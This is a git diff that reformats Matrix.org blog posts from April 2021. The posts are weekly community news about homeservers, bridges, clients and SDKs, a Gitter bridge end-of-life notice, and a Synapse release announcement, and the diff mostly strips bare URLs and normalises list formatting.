![2021-04-09-hGhUh-stacked_area_chart.png](/blog/img/2021-04-09-hGhUh-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -86,7 +84,7 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv ### Conduit -* Conduit: A Matrix homeserver written in Rust https://conduit.rs +* Conduit: A Matrix homeserver written in Rust * [Ruma](https://ruma.dev/) is a set of Rust library crates around Matrix [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) told us: @@ -102,14 +100,14 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv > * Use correct room versions > > * Submit bug reports to libraries and clients: -> * https://github.com/vector-im/element-android/issues/3065 +> * > -> * https://github.com/ruma/ruma/issues/446 -> * https://github.com/ruma/ruma/issues/447 +> * +> * > > Doing: > -> * Thinking about the future of the sled database in Conduit: https://gitlab.com/famedly/conduit/-/issues/74 +> * Thinking about the future of the sled database in Conduit: > > * Investigating state resolution problems > * Investigating why certain clients are not supported by Conduit @@ -121,7 +119,6 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv > * A deadlock was causing the whole program to freeze. The cause was found. > * Our #conduit room had a state reset (it's on room version 5), so we upgraded to version 6, which was annoying - ### matrix-registration [zeratax](https://matrix.to/#/@zeratax:dmnd.sh) offered: @@ -131,15 +128,15 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv > Since then we added the possibility to localize the project and already got translations for > > german, portuguese and chinese! -> https://l10n.dmnd.sh/engage/matrix-registration/ +> > > there has also been work on a nix package and module over here: > -> https://github.com/NixOS/nixpkgs/pull/107654 +> > and a nur package to test it right now: > -> https://github.com/ZerataX/nur-packages/blob/master/pkgs/matrix-registration/default.nix -> https://github.com/ZerataX/nur-packages/blob/master/modules/matrix-registration.nix +> +> > > But here are the newest changes for the just released **v0.9.0** > @@ -149,14 +146,14 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv > > **Please run the following after every update** to make sure your database scheme is uptodate > -> ``` +> ```txt > alembic upgrade head > > ``` > > * instead of one time token you can now set arbitrary amounts of usage per token via > -> ``` +> ```txt > *m, --maximum INTEGER times token can be used > > ``` @@ -164,18 +161,19 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv > * new option in the config file to log IPs to the database > > these are viewable by checking the status of individual token via the cli or web api +> > #### Changes > > There have been a lot of changes to the config file and web api, > -> please refer to: https://github.com/ZerataX/matrix-registration/releases/tag/v0.9.0 +> please refer to: > and make sure to check the [sample config](https://github.com/ZerataX/matrix-registration/blob/master/config.sample.yaml) for other changes you might have missed > > #### Get it here > -> * pypi: https://pypi.org/project/matrix-registration/0.9.0/ +> * pypi: > -> * docker: https://hub.docker.com/repository/docker/zeratax/matrix-registration +> * docker: > > and as always feel free to join [#matrix-registration:dmnd.sh](https://matrix.to/#/#matrix-registration:dmnd.sh) for support or w/e else! @@ -213,8 +211,6 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv > > Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) - - ### iMessage bridge hinted [Tulir](https://matrix.to/#/@tulir:maunium.net) offered: @@ -231,7 +227,7 @@ I don't know specific change helped, but 1.31 is a noticeable performance improv ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) reported: @@ -266,30 +262,27 @@ Rather meta, that this fix relates so specifically to TWIM. Updates provided by the teams. + **Delight** +* We’re iterating on private spaces, working towards making them publicly testable first on the Web & Android, with iOS to follow. +* [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) has more details on spec changes. +* If you have Spaces enabled in labs on the Web or Android come join us in the [Matrix Test Space](https://matrix.to/#/#matrix-test-space:matrix.org) +* And big thank you to everyone giving feedback in the [Spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), please keep it coming and as a reminder if you run a public community (on any platform) we’d love to chat to you to get closer to understand your problems and goals. - -* We’re iterating on private spaces, working towards making them publicly testable first on the Web & Android, with iOS to follow. -* [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) has more details on spec changes. -* If you have Spaces enabled in labs on the Web or Android come join us in the [Matrix Test Space](https://matrix.to/#/#matrix-test-space:matrix.org) -* And big thank you to everyone giving feedback in the [Spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), please keep it coming and as a reminder if you run a public community (on any platform) we’d love to chat to you to get closer to understand your problems and goals. - + **iOS** +* The olm library is now available through Swift Package Manager. Instructions can be found at [https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode](https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode). +* Element-iOS 1.3.0 is almost ready to be shipped. A public TestFlight will be available over the weekend. It has an entire new text composer with changes in the layout around the room timeline. It contains several fixes in the notification extension to avoid “Unable to decrypt” errors and out of memory crashes. +* We made good progress on the new design for VoIP but we preferred to polish it even more. It will be available in another version. - -* The olm library is now available through Swift Package Manager. Instructions can be found at [https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode](https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode). -* Element-iOS 1.3.0 is almost ready to be shipped. A public TestFlight will be available over the weekend. It has an entire new text composer with changes in the layout around the room timeline. It contains several fixes in the notification extension to avoid “Unable to decrypt” errors and out of memory crashes. -* We made good progress on the new design for VoIP but we preferred to polish it even more. It will be available in another version. - + **Android** - - -* Element Android 1.1.4 has been released to the beta testers. This version includes lots of optimizations. Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.1.4](https://github.com/vector-im/element-android/releases/tag/v1.1.4). This release should be available to all users and to F-Droid users next week. The matrix SDK2 v1.1.4 has also been released today. -* We are making good progress to implement the Spaces, which will replace the communities (AKA groups). Spaces will be available in the release 1.1.5, behind a lab flag. -* Behind the hoods, we are making lots of code cleanup and we are improving the Matrix SDK API. +* Element Android 1.1.4 has been released to the beta testers. This version includes lots of optimizations. Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.1.4](https://github.com/vector-im/element-android/releases/tag/v1.1.4). This release should be available to all users and to F-Droid users next week. The matrix SDK2 v1.1.4 has also been released today. +* We are making good progress to implement the Spaces, which will replace the communities (AKA groups). Spaces will be available in the release 1.1.5, behind a lab flag. +* Behind the hoods, we are making lots of code cleanup and we are improving the Matrix SDK API. [elmussol](https://matrix.to/#/@elmussol:elsmussols.net) let us know that Element Android 1.1.3 is already available on F-droid. I love getting a new Element Android update! @@ -313,9 +306,7 @@ In 20 years, will we look at this small comment from uhoreg and say, that's the [a_v_p](https://matrix.to/#/@a_v_p:matrix.org) told us: -> I released Guile-Deck 0.2.0, a GNU Guile SDK for the Matrix network: https://github.com/artyom-poptsov/guile-deck/releases/tag/v0.2.0 - - +> I released Guile-Deck 0.2.0, a GNU Guile SDK for the Matrix network: ### libkazv (and the Kazv Project) @@ -335,7 +326,7 @@ In 20 years, will we look at this small comment from uhoreg and say, that's the > > remove this annotation :P): > -> 1. Added Boost.Serialization support https://lily.kazv.moe/kazv/libkazv/-/merge_requests/4 +> 1. Added Boost.Serialization support ## Dept of Ops 🛠 @@ -374,7 +365,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > /ipns/latest.cactus.chat is updated to point to the latest release, so sites linking there should already be using the new version. > -> Come play with the demo: https://cactus.chat/demo +> Come play with the demo: > > Join our Matrix room: [#cactus:cactus.chat](https://matrix.to/#/#cactus:cactus.chat) @@ -386,7 +377,7 @@ Also, watch Matrix Live! If you've already done so, watch it again. [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) told us: -> If anyone understands German and listens to podcasts, Krille Fear and I will be on the LinuxLounge on the 25th of April: https://social.tchncs.de/@theradiocc/106025736391026211 +> If anyone understands German and listens to podcasts, Krille Fear and I will be on the LinuxLounge on the 25th of April: In fact there are dozens of people who understand German, and surely some subset of these listen to podcasts. With these conditions accepted, the LinuxLounge appearance will go ahead. @@ -395,6 +386,7 @@ In fact there are dozens of people who understand German, and surely some subset Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -411,6 +403,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|dodsorf.as|1351| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/04/2021-04-15-old-gitter-bridge-end-of-life-2021-04-21-to-be-replaced-with-native-bridge.md b/content/blog/2021/04/2021-04-15-old-gitter-bridge-end-of-life-2021-04-21-to-be-replaced-with-native-bridge.md index 9f7bdfe38..a76d4e554 100644 --- a/content/blog/2021/04/2021-04-15-old-gitter-bridge-end-of-life-2021-04-21-to-be-replaced-with-native-bridge.md +++ b/content/blog/2021/04/2021-04-15-old-gitter-bridge-end-of-life-2021-04-21-to-be-replaced-with-native-bridge.md @@ -11,11 +11,11 @@ Next week on Wednesday (2021-04-21), the old Gitter bridge (identified as `@gitt [Gitter is bridged natively to Matrix](https://matrix.org/blog/2020/12/07/gitter-now-speaks-matrix) on the `gitter.im` homeserver and all of the public rooms are available there. The new native Gitter bridge has many advantages over the old bridge and is being actively developed to ensure parity and delivers: - - Ability to join public Gitter rooms from Matrix via `#_:gitter.im` - - Native feeling virtual users on both sides of the bridge so messages appear from the author itself - - Bridging edits, replies (mapped to threads on Gitter), deletes, file transfers - - Full support for markdown, emoji and mentions - - Soon to be [direct message (DM) support](https://gitlab.com/gitterHQ/webapp/-/issues/2671)! +- Ability to join public Gitter rooms from Matrix via `#_:gitter.im` +- Native feeling virtual users on both sides of the bridge so messages appear from the author itself +- Bridging edits, replies (mapped to threads on Gitter), deletes, file transfers +- Full support for markdown, emoji and mentions +- Soon to be [direct message (DM) support](https://gitlab.com/gitterHQ/webapp/-/issues/2671)! If you still need your **existing** Matrix room for a public community plumbed to Gitter, we’re happy to help community admins with the setup of a manual plumb. Send an email to [support@gitter.im](mailto:support@gitter.im) with the details! Self-service plumbing will be coming in future (meanwhile, please keep it to public community rooms only, if you must!) @@ -24,4 +24,3 @@ We hope that this notice helps make the transition a little smoother and avoid a If you have any questions about the migration path or the new bridge, you can always chat with us in [#gitter:matrix.org](https://matrix.to/#/#gitter:matrix.org). Happy chatting everyone! - diff --git a/content/blog/2021/04/2021-04-16-this-week-in-matrix-2021-04-16.md b/content/blog/2021/04/2021-04-16-this-week-in-matrix-2021-04-16.md index fb53784cd..4c07e8664 100644 --- a/content/blog/2021/04/2021-04-16-this-week-in-matrix-2021-04-16.md +++ b/content/blog/2021/04/2021-04-16-this-week-in-matrix-2021-04-16.md @@ -19,16 +19,16 @@ image = "https://matrix.org/blog/img/2021-04-16-hydrogen.png" This week we hosted Open Tech Will Save Us #12! - *Creating a SAFE SUPPORT CHAT on the Matrix API* - - **Kim Allen of PRIMAL GLOW Communications** will be joined by Safe Support Chat Project Team Members, + - **Kim Allen of PRIMAL GLOW Communications** will be joined by Safe Support Chat Project Team Members, **Sharon Kennedy of Nomadic Labs** and **Brent Edwards** to talk about why and how this online crisis support tool for sexual assault centres was built on Matrix, using a custom implementation of Element and other Open Source resources. - *Open Web Docs: web documentation as critical infrastructure* - - **Will Bamberg** is a technical writer who works on MDN Web Docs, originally for Mozilla and now for + - **Will Bamberg** is a technical writer who works on MDN Web Docs, originally for Mozilla and now for Open Web Docs. He's especially interested in ways we can make documentation more engaging and accessible. Open Web Docs is a collective of people and organizations that exists to support web documentation. - *Hydrogen Deep Dive* - - **Bruno from Element** will do a deep dive into the architecture of Hydrogen, the upcoming next-generation + - **Bruno from Element** will do a deep dive into the architecture of Hydrogen, the upcoming next-generation Matrix web-client. What are the guiding principles, what makes it fast, what is different about it, and how could it also benefit Element Web? @@ -38,60 +38,59 @@ This week we hosted Open Tech Will Save Us #12! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > > **Closed MSCs:** > -> * [Pushing updates about Groups (Communities) to clients](https://github.com/matrix-org/matrix-doc/issues/1222) +> - [Pushing updates about Groups (Communities) to clients](https://github.com/matrix-org/matrix-doc/issues/1222) > > **MSCs in Final Comment Period:** > -> * [MSC2241: Key verification in DMs](https://github.com/matrix-org/matrix-doc/pull/2241) (merge) +> - [MSC2241: Key verification in DMs](https://github.com/matrix-org/matrix-doc/pull/2241) (merge) > > **New MSCs:** > -> * [MSC3125: Limits API — Part 5: per-Instance limits](https://github.com/matrix-org/matrix-doc/pull/3125) -> * [MSC3124: Handling spoilers in plain-text message fallback](https://github.com/matrix-org/matrix-doc/pull/3124) +> - [MSC3125: Limits API — Part 5: per-Instance limits](https://github.com/matrix-org/matrix-doc/pull/3125) +> - [MSC3124: Handling spoilers in plain-text message fallback](https://github.com/matrix-org/matrix-doc/pull/3124) +> +> - [MSC3122: Deprecate starting verifications without requesting first](https://github.com/matrix-org/matrix-doc/pull/3122) > -> * [MSC3122: Deprecate starting verifications without requesting first](https://github.com/matrix-org/matrix-doc/pull/3122) > #### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we talked a little bit about [MSC2970](https://github.com/matrix-org/matrix-doc/pull/2970) (path requirements for push gateways) and left some thoughts on the MSC. We also merged a few spec clarification/fixup PRs as they trickle in following the spec unfreeze last week. - - ![2021-04-16-t2TNS-stacked_area_chart.png](/blog/img/2021-04-16-t2TNS-stacked_area_chart.png) ## Dept of Servers 🏢 ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) offered: > A lot of progress is happening currently! Federation is becoming more and more stable and missing features are being implemented: > -> * Feature: /make_join, /send_join and /query/directory +> - Feature: /make_join, /send_join and /query/directory > -> * Feature: Incoming invites over federation -> * Feature: Correct and more efficient message count calculation +> - Feature: Incoming invites over federation +> - Feature: Correct and more efficient message count calculation > -> * Improvement: Check event signatures on join -> * Improvement: Fetch signing keys in parallel when joining +> - Improvement: Check event signatures on join +> - Improvement: Fetch signing keys in parallel when joining > -> * Improvement: Relaxed verification code to allow joining partially broken rooms -> * Fix: Lost forward extremitites +> - Improvement: Relaxed verification code to allow joining partially broken rooms +> - Fix: Lost forward extremitites > -> * Fix: "Malformed pushrule" errors -> * Fix: Mistakes in DEPLOY.md documentation +> - Fix: "Malformed pushrule" errors +> - Fix: Mistakes in DEPLOY.md documentation > -> * Fix: Alias parsing -> * Fix: Optimize /send calculations +> - Fix: Alias parsing +> - Fix: Optimize /send calculations > -> * Fix: State resolution bugs +> - Fix: State resolution bugs ### Synapse @@ -103,10 +102,10 @@ Synapse is a popular homeserver written in Python. > > On the Matrix.org Foundation side, we maintain production-grade reference implementations of these services: > -> * Synapse, a Homeserver +> - Synapse, a Homeserver > -> * Sygnal, a Push Gateway -> * Sydent, an Identity Service +> - Sygnal, a Push Gateway +> - Sydent, an Identity Service > > We recently became aware of a few security and denial of service concerns in Sydent. Yesterday, we released [Sydent 2.3.0](https://github.com/matrix-org/sydent/releases/tag/v2.3.0) with fixes for those issues. It's extremely uncommon to self-host Sydent, but we wanted to highlight our work there all the same. > @@ -124,7 +123,7 @@ Synapse is a popular homeserver written in Python. > > [Synapse](https://github.com/YunoHost-Apps/synapse_ynh/tree/master) integration had been updated to 1.31.0 (1.31.0 available in branch `testing`) > -> If you had a problem durng the upgrade to 1.28.0, there is a fix here to restore the backup : https://github.com/YunoHost-Apps/synapse_ynh/issues/246 +> If you had a problem durng the upgrade to 1.28.0, there is a fix here to restore the backup : > [Element Web](https://github.com/YunoHost-Apps/element_ynh/tree/master) integration had been updated to 1.7.24 (1.7.25 available in branch `testing`) ## Dept of Bridges 🌉 @@ -137,7 +136,7 @@ So much bridge news this week! > Next week on Wednesday (2021-04-21), the old Gitter bridge (identified as `@gitterbot:matrix.org`) will be shut down and any plumbed rooms (bridged connections) remaining will no longer bridge. To replace this, we've already migrated all of the portal rooms and many of the plumbed rooms in preparation so most users will not need to take any further actions. The remaining rooms with the old Gitter bridge are unfortunately not possible to migrate and for those communities a clean break will be needed. The new native Gitter bridge is here to replace this! > -> You can read most of the same information and details if you still need to plumb for your existing room in the blog post, https://matrix.org/blog/2021/04/15/old-gitter-bridge-end-of-life-2021-04-21-to-be-replaced-with-native-bridge +> You can read most of the same information and details if you still need to plumb for your existing room in the blog post, ### Element now has a Microsoft Teams bridge @@ -145,11 +144,11 @@ So much bridge news this week! > Hey hey folks, something I can finally talk about in the open is that Element now has a Teams bridge! After months of being isolated on a desert island being fed nothing but rice crackers and diet pepsi, I can talk about our newest bridge. It's fairly feature packed with support for all the usual formatting options, plus Jitsi widget bridging (as links) and full puppeting including DMs. Matthew even went and nattered to [The Register](https://www.theregister.com/2021/04/14/matrix_teams/) about it. So you heard it here first, no network is truly safe from the open federation and we hope to welcome teams users into the Matrix. The bridge is currently a closed source offering under the EMS banner for now. > -> You can read about it in https://element.io/blog/ems-launches-bridging-for-microsoft-teams/ +> You can read about it in [David Mehren](https://matrix.to/#/@davebloggt:kif.rocks) added: -> Heise wrote an article about the Teams bridge: https://www.heise.de/news/Fuer-MS-Teams-Verweigerer-Element-startet-neuen-Bridging-Dienst-6017946.html +> Heise wrote an article about the Teams bridge: Half-Shot also added: @@ -174,36 +173,36 @@ I've been using this for months now, and can confirm it works great! > > Features include: > -> * Connect to [Twilio](https://www.twilio.com/) & get current account balance +> - Connect to [Twilio](https://www.twilio.com/) & get current account balance > -> * Send SMS texts to phone numbers and receive texts back -> * Intelligent dialing looks up phone numbers based on the one you're using +> - Send SMS texts to phone numbers and receive texts back +> - Intelligent dialing looks up phone numbers based on the one you're using > -> * Give SMS users "pet names" via the `name` command -> * Allow multiple users to puppet a bridge & allow the bridging of bots +> - Give SMS users "pet names" via the `name` command +> - Allow multiple users to puppet a bridge & allow the bridging of bots > > Some planned features could include: (I'm not committing to any of these ;D) > -> * Displaying bridge info in Element settings +> - Displaying bridge info in Element settings > -> * Dialer widget -> * Sending MMS (pictures, video, voice, etc.) +> - Dialer widget +> - Sending MMS (pictures, video, voice, etc.) > -> * Getting extended information about users. Services like Twilio offer carrier +> - Getting extended information about users. Services like Twilio offer carrier > lookups and that sort of thing. Could be useful to help weed out spam. > -> * Phone calls -- This is very hard +> - Phone calls -- This is very hard > -> * Answering machine +> - Answering machine > -> * Faxing. Why not, I guess? +> - Faxing. Why not, I guess? > -> * Pay-as-you-go managed phone number service -> * Start a chat with the bridge bot and buy a phone number via Matrix +> - Pay-as-you-go managed phone number service +> - Start a chat with the bridge bot and buy a phone number via Matrix > -> * Payment security is an issue here ;) +> - Payment security is an issue here ;) > -> * Puppetting WhatsApp business or Facebook Messenger. Companies like Twilio offer connections to proprietary messengers like these. +> - Puppetting WhatsApp business or Facebook Messenger. Companies like Twilio offer connections to proprietary messengers like these. > > It's not ready for production use, though. It's still stuck on a SQLite DB and has a few usability issues. > @@ -217,33 +216,43 @@ I've been using this for months now, and can confirm it works great! Updates from the teams: + **Delight** + - On Spaces, we’ve been doing first implementations of [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) on Android & Synapse. - Meanwhile, we’re continuing effort on iOS on adding SDK support for Spaces, and also refactoring room navigation to soon implement the Spaces UI. + **VoIP** + - Lots of design in progress for improving group calls, and work ongoing to implement those designs on iOS. + **Web** + - Element Web 1.7.25 released - - Added reset button in settings to assist with search index issues - - Added optional warning before exiting desktop app - - Improved VoIP call media error handling + - Added reset button in settings to assist with search index issues + - Added optional warning before exiting desktop app + - Improved VoIP call media error handling - On develop - - Enabled sharing room keys on invite - - Added persistence of unsent messages across app reloads - - Fixed replies for IRC layout + - Enabled sharing room keys on invite + - Added persistence of unsent messages across app reloads + - Fixed replies for IRC layout + **iOS** -- Element-iOS 1.3.0 contained several issues we wanted to fix before publishing it. 1.3.3 will fix all (https://github.com/vector-im/element-ios/milestone/52?closed=1) plus: - - An update of self-verification to follow recent Element-Web changes - - A fix to correctly display sender display name in notifications +- Element-iOS 1.3.0 contained several issues we wanted to fix before publishing it. 1.3.3 will fix all () plus: + + - An update of self-verification to follow recent Element-Web changes + - A fix to correctly display sender display name in notifications + **Android** -- Element Android has been released 3 times this week, first version was 1.1.4, then 2 corrective releases, 1.1.5 and 1.1.6 to fix crashes… The main changelog is https://github.com/vector-im/element-android/releases/tag/v1.1.4 . F-Droid store will only get version 1.1.6, please be patient. + +- Element Android has been released 3 times this week, first version was 1.1.4, then 2 corrective releases, 1.1.5 and 1.1.6 to fix crashes… The main changelog is . F-Droid store will only get version 1.1.6, please be patient. - We are currently working on the account creation and registration flows and made some experiments on it. ## Dept of SDKs and Frameworks 🧰 @@ -258,45 +267,45 @@ Updates from the teams: > > Lots of things have happened in that time: > -> * [@NerdyPepper](https://github.com/NerdyPepper) added [types for the appservice registration YAML](https://github.com/ruma/ruma/pull/430) +> - [@NerdyPepper](https://github.com/NerdyPepper) added [types for the appservice registration YAML](https://github.com/ruma/ruma/pull/430) > -> * [@NerdyPepper](https://github.com/NerdyPepper) added [missing Content-Type headers to the serialization code for some request types](https://github.com/ruma/ruma/pull/432) -> * [@timokoesters](https://github.com/timokoesters) fixed a few issues that affected Conduit: +> - [@NerdyPepper](https://github.com/NerdyPepper) added [missing Content-Type headers to the serialization code for some request types](https://github.com/ruma/ruma/pull/432) +> - [@timokoesters](https://github.com/timokoesters) fixed a few issues that affected Conduit: > -> * [redaction of aliases events](https://github.com/ruma/ruma/pull/435) -> * [create_invite being broken](https://github.com/ruma/ruma/pull/490) +> - [redaction of aliases events](https://github.com/ruma/ruma/pull/435) +> - [create_invite being broken](https://github.com/ruma/ruma/pull/490) > -> * [create_leave_event and get_leave_event being broken](https://github.com/ruma/ruma/pull/501) +> - [create_leave_event and get_leave_event being broken](https://github.com/ruma/ruma/pull/501) > -> * [@jsparber](https://github.com/jsparber) added [a dedicated MxcUri type for mxc:// URIs](https://github.com/ruma/ruma/pull/439) +> - [@jsparber](https://github.com/jsparber) added [a dedicated MxcUri type for mxc:// URIs](https://github.com/ruma/ruma/pull/439) > -> * [@zecakeh](https://github.com/zecakeh) added [methods to test events against push rulesets](https://github.com/ruma/ruma/pull/448) -> * [@Frinksy](https://github.com/Frinksy) added multiple endpoints to `ruma-identity-service-api`: +> - [@zecakeh](https://github.com/zecakeh) added [methods to test events against push rulesets](https://github.com/ruma/ruma/pull/448) +> - [@Frinksy](https://github.com/Frinksy) added multiple endpoints to `ruma-identity-service-api`: > -> * [terms of service retrieval](https://github.com/ruma/ruma/pull/453) -> * [terms of service acceptance](https://github.com/ruma/ruma/pull/459) +> - [terms of service retrieval](https://github.com/ruma/ruma/pull/453) +> - [terms of service acceptance](https://github.com/ruma/ruma/pull/459) > -> * [public key retrieval](https://github.com/ruma/ruma/pull/472) +> - [public key retrieval](https://github.com/ruma/ruma/pull/472) > -> * [@zecakeh](https://github.com/zecakeh) added a tool that automates our crate releases over a series of four PRs: [#454](https://github.com/ruma/ruma/pull/454), [#456](https://github.com/ruma/ruma/pull/465), [#498](https://github.com/ruma/ruma/pull/498) and [#508](https://github.com/ruma/ruma/pull/508) +> - [@zecakeh](https://github.com/zecakeh) added a tool that automates our crate releases over a series of four PRs: [#454](https://github.com/ruma/ruma/pull/454), [#456](https://github.com/ruma/ruma/pull/465), [#498](https://github.com/ruma/ruma/pull/498) and [#508](https://github.com/ruma/ruma/pull/508) > -> * [@louisdewar](https://github.com/louisdewar) added [a CI job that rebuilds our documentation on every push to the main branch](https://github.com/ruma/ruma/pull/457) -> * You can view it on [https://docs.ruma.io/](https://docs.ruma.dev/) +> - [@louisdewar](https://github.com/louisdewar) added [a CI job that rebuilds our documentation on every push to the main branch](https://github.com/ruma/ruma/pull/457) +> - You can view it on [https://docs.ruma.io/](https://docs.ruma.dev/) > -> * [@zecakeh](https://github.com/zecakeh) updated `ruma-client-api` and `ruma-federation-api` to make use of the new `MxcUri` type: [#458](https://github.com/ruma/ruma/pull/458), [#463](https://github.com/ruma/ruma/pull/463) +> - [@zecakeh](https://github.com/zecakeh) updated `ruma-client-api` and `ruma-federation-api` to make use of the new `MxcUri` type: [#458](https://github.com/ruma/ruma/pull/458), [#463](https://github.com/ruma/ruma/pull/463) > -> * [@zecakeh](https://github.com/zecakeh) improved [various](https://github.com/ruma/ruma/pull/468) [parts](https://github.com/ruma/ruma/pull/470) of [our](https://github.com/ruma/ruma/pull/471) [documentation](https://github.com/ruma/ruma/pull/494) -> * [@abhikjain360](https://github.com/abhikjain360) also added multiple endpoints to `ruma-identity-service-api`: +> - [@zecakeh](https://github.com/zecakeh) improved [various](https://github.com/ruma/ruma/pull/468) [parts](https://github.com/ruma/ruma/pull/470) of [our](https://github.com/ruma/ruma/pull/471) [documentation](https://github.com/ruma/ruma/pull/494) +> - [@abhikjain360](https://github.com/abhikjain360) also added multiple endpoints to `ruma-identity-service-api`: > -> * [ephemeral key validation](https://github.com/ruma/ruma/pull/484) -> * [lookup for hashing identifiers, lookup for Matrix user IDs by 3pids](https://github.com/ruma/ruma/pull/489) +> - [ephemeral key validation](https://github.com/ruma/ruma/pull/484) +> - [lookup for hashing identifiers, lookup for Matrix user IDs by 3pids](https://github.com/ruma/ruma/pull/489) > -> * [@zecakeh](https://github.com/zecakeh) added [support for MSC2858 (Multiple SSO Identity Providers)](https://github.com/ruma/ruma/pull/491) +> - [@zecakeh](https://github.com/zecakeh) added [support for MSC2858 (Multiple SSO Identity Providers)](https://github.com/ruma/ruma/pull/491) > -> * [@abhikjain360](https://github.com/abhikjain360) improved usage of serialization attributes by introducing custom casing conventions: [#512](https://github.com/ruma/ruma/pull/512) (the diff of this probably explains the improvement better than I can), [#513](https://github.com/ruma/ruma/pull/513) -> * and meanwhile, I've been refactoring lots and lots of things but the details would probably be meaningless to non-contributors and I haven't posted PRs for most of these changes so it's hard to collect into a list anyways +> - [@abhikjain360](https://github.com/abhikjain360) improved usage of serialization attributes by introducing custom casing conventions: [#512](https://github.com/ruma/ruma/pull/512) (the diff of this probably explains the improvement better than I can), [#513](https://github.com/ruma/ruma/pull/513) +> - and meanwhile, I've been refactoring lots and lots of things but the details would probably be meaningless to non-contributors and I haven't posted PRs for most of these changes so it's hard to collect into a list anyways > -> * some small contributions are not in this list, since it is already huge +> - some small contributions are not in this list, since it is already huge > > In addition to all the PRs, we are taking part in GSoC this year again! Proposals have been written, reviewed, updated, finalized, submitted and now there's some quiet time until the student projects are announced on May 17th. @@ -306,15 +315,16 @@ Updates from the teams: [Cos](https://matrix.to/#/@cos:hacklab.fi) announced: -> I wrote a new tool for fediverse: search Peertube via Matrix. It uses Sepia Search API to search on all participating public Peertube instances. You can also select any single instance. It's implemented as a module for Hemppa the bot - see docs here: https://github.com/vranki/hemppa#peertube-search #peertube #matrix +> I wrote a new tool for fediverse: search Peertube via Matrix. It uses Sepia Search API to search on all participating public Peertube instances. You can also select any single instance. It's implemented as a module for Hemppa the bot - see docs here: #peertube #matrix -See the announcement: https://fosstodon.org/web/statuses/106048573207784409 +See the announcement: ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -331,6 +341,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|signal-eleven.com|991| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/04/2021-04-22-synapse-1-32-2-released.md b/content/blog/2021/04/2021-04-22-synapse-1-32-2-released.md index d89331914..cf8c36050 100644 --- a/content/blog/2021/04/2021-04-22-synapse-1-32-2-released.md +++ b/content/blog/2021/04/2021-04-22-synapse-1-32-2-released.md @@ -10,7 +10,7 @@ category = ["Releases"] Synapse 1.32.2 is out! **Synapse now requires Python 3.6** (or later) and we've made a few small changes which you should be aware of before upgrading. These are documented in the [upgrade notes](https://github.com/matrix-org/synapse/blob/v1.32.2/UPGRADE.rst#upgrading-to-v1320). -> __Note:__ We scrubbed the releases of Synapse 1.32.0 and 1.32.1 as we discovered a pair of regressions including [a bug](https://github.com/matrix-org/synapse/issues/9853) with Prometheus metrics after tagging the release. These have been resolved. +> **Note:** We scrubbed the releases of Synapse 1.32.0 and 1.32.1 as we discovered a pair of regressions including [a bug](https://github.com/matrix-org/synapse/issues/9853) with Prometheus metrics after tagging the release. These have been resolved. On Monday, humankind flew a helicopter on Mars. And while our pursuit of [Space(s)](https://github.com/matrix-org/matrix-doc/pull/1772) is considerably more modest, it is nevertheless progressing apace: 